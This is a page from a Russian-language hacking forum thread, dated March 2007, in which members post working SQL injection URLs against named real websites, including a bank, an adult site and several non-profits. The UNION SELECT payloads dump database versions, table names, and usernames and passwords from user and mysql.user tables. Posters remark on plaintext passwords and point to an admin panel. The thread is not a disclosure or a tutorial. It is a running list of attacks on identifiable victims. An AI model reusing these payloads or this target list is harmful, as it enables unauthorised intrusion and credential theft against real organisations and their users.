ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #921  
Старый 12.03.2007, 16:34
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

Цитата:
http://www.pay-sys.com/modules/articles/print.php?id=-20+union+select+1,2,3,4,version(),6,7,8,9,10,11,12 ,13,14,15,16,17,18,19,20/*
после каждого обнавления странички вылазит окошко с предложеим выбрать принтер что бы распечатать. пока столбцы побирал - взбесило =)
 
Ответить с цитированием

  #922  
Старый 12.03.2007, 16:35
Colkru
Участник форума
Регистрация: 13.01.2007
Сообщений: 160
Провел на форуме:
865816

Репутация: 181
Отправить сообщение для Colkru с помощью ICQ
По умолчанию

http://www.aarda.org/research/research_display.php?ID=-1+union+select+1,2,3,concat(username,char(58),pass ),5,6,7+from+user+limit+0,1/*

http://www.lautrecampagne.org/article.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,table _name,15,16,17,18,19,20,null,22,23,24+from+INFORMA TION_SCHEMA.TABLES+limit+0,1/*

http://eierstock-krebs.de/start.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21+from+sites/*
 
Ответить с цитированием

  #923  
Старый 12.03.2007, 16:52
ice1k
Постоянный
Регистрация: 01.01.2007
Сообщений: 551
Провел на форуме:
4908597

Репутация: 1866


Отправить сообщение для ice1k с помощью ICQ
По умолчанию

Цитата:
Сообщение от Spyder  
после каждого обнавления странички вылазит окошко с предложеим выбрать принтер что бы распечатать. пока столбцы побирал - взбесило =)
xoops куле
 
Ответить с цитированием

  #924  
Старый 12.03.2007, 17:07
InferNo23
Участник форума
Регистрация: 05.09.2006
Сообщений: 187
Провел на форуме:
6860213

Репутация: 378
По умолчанию

Код:
http://articles.org.ru/cfaq/index.php?catid=-1+union+select+convert(user()+using+cp1251),2/*
 
Ответить с цитированием

типа платный порно-сайт
  #925  
Старый 12.03.2007, 17:22
_Pantera_
Участник форума
Регистрация: 06.10.2006
Сообщений: 226
Провел на форуме:
3025546

Репутация: 1327
Отправить сообщение для _Pantera_ с помощью ICQ
По умолчанию типа платный порно-сайт

bestmove.ru

Цитата:
http://bestmove.ru/index2.php?catid=1+and+1=2+union+select+1,2,3,4,5, 6,7,8,9,10,11,table_NAME,13,14444+from+INFORMATION _SCHEMA.tables--

http://bestmove.ru/index2.php?catid=1+and+1=2+union+select+1,2,3,4,5, 6,7,8,9,10,11,column_name,13,14444+from+INFORMATIO N_SCHEMA.COLUMNS--

http://bestmove.ru/index2.php?catid=1+and+1=2+union+select+1,2,3,4,5, 6,7,8,9,10,11,AES_DECRYPT(AES_ENCRYPT(email,0x78), 0x78),13,14444+from+admin_dvdonly.comments--

http://bestmove.ru/index2.php?catid=1+and+1=2+union+select+1,2,3,4,5, 6,7,8,9,10,11,AES_DECRYPT(AES_ENCRYPT(pwd,0x78),0x 78),13,14444+from+admin_dvdonly.users--

http://bestmove.ru/index2.php?catid=1+and+1=2+union+select+1,2,3,4,5, 6,7,8,9,10,11,AES_DECRYPT(AES_ENCRYPT(concat(id,ch ar(58),name,char(58),cod,char(58),time,char(58),Mb ),0x78),0x78),13,14444+from+admin_bestxxx.catalog--
http://bestmove.ru/phpmyadmin/
 
Ответить с цитированием

  #926  
Старый 12.03.2007, 17:35
Colkru
Участник форума
Регистрация: 13.01.2007
Сообщений: 160
Провел на форуме:
865816

Репутация: 181
Отправить сообщение для Colkru с помощью ICQ
По умолчанию

http://www.phpdoc.org/news.php?id=-1+union+select+1,concat(name,char(58),password),3, 4,5+from+users/*
 
Ответить с цитированием

  #927  
Старый 12.03.2007, 17:46
Constantine
Members of Antichat - Level 5
Регистрация: 24.11.2006
Сообщений: 927
Провел на форуме:
7192869

Репутация: 3033


По умолчанию

Код:
http://www.keckobservatory.org/article.php?id=-99+union+select+1,2,3,4,5,6,7,8+from+mysql.user/*
Дальше сами =)
Код:
 http://www.apahelpcenter.org/featuredtopics/feature.php?id=-6+union+select+password,2,3,user(),5,version(),7+from+users/*
Пароли в чистом виде
__________________

Дети индиго - это бездари, не надо песен! В пять лет едва говорить начинают, мы в этом возрасте стихи наизусть читали!

з.ы http://www.youtube.com/watch?v=sNsQe0KByRY Я ПлакалЪ
 
Ответить с цитированием

  #928  
Старый 12.03.2007, 18:04
Colkru
Участник форума
Регистрация: 13.01.2007
Сообщений: 160
Провел на форуме:
865816

Репутация: 181
Отправить сообщение для Colkru с помощью ICQ
По умолчанию

Код:
http://www.witze-welt.de/videos/showvideo.php?id=-1+union+select+1,2,3,password,5,6,7,8,9,10,11,12,13,14,15,16+from+mysql.user/*
 
Ответить с цитированием

  #929  
Старый 12.03.2007, 18:13
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

ООО КБ "Эргобанк"
Цитата:
http://www.ergobank.ru/root/news/newsGen.php?id=-3+union+select+1,2,convert(version()+using+latin1)
 
Ответить с цитированием

  #930  
Старый 12.03.2007, 18:14
Colkru
Участник форума
Регистрация: 13.01.2007
Сообщений: 160
Провел на форуме:
865816

Репутация: 181
Отправить сообщение для Colkru с помощью ICQ
По умолчанию

Цитата:
http://hightower.fmp.com/weblogitem.php?id=-1+union+select+concat(username,char(58),password), 2,3,4,5,6+from+user+limit+0,1/*
Пассы в чистом виде)

Цитата:
http://dety.info/region.php?id=-1+union+select+1,2,concat(user,char(58),password), 4,5,6+from+user+limit+0,1/*
хе, и логин и пароль admin, правда в админку (http://dety.info/admin) с таким логином и паролем не попадеш.

Последний раз редактировалось Colkru; 12.03.2007 в 18:29..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ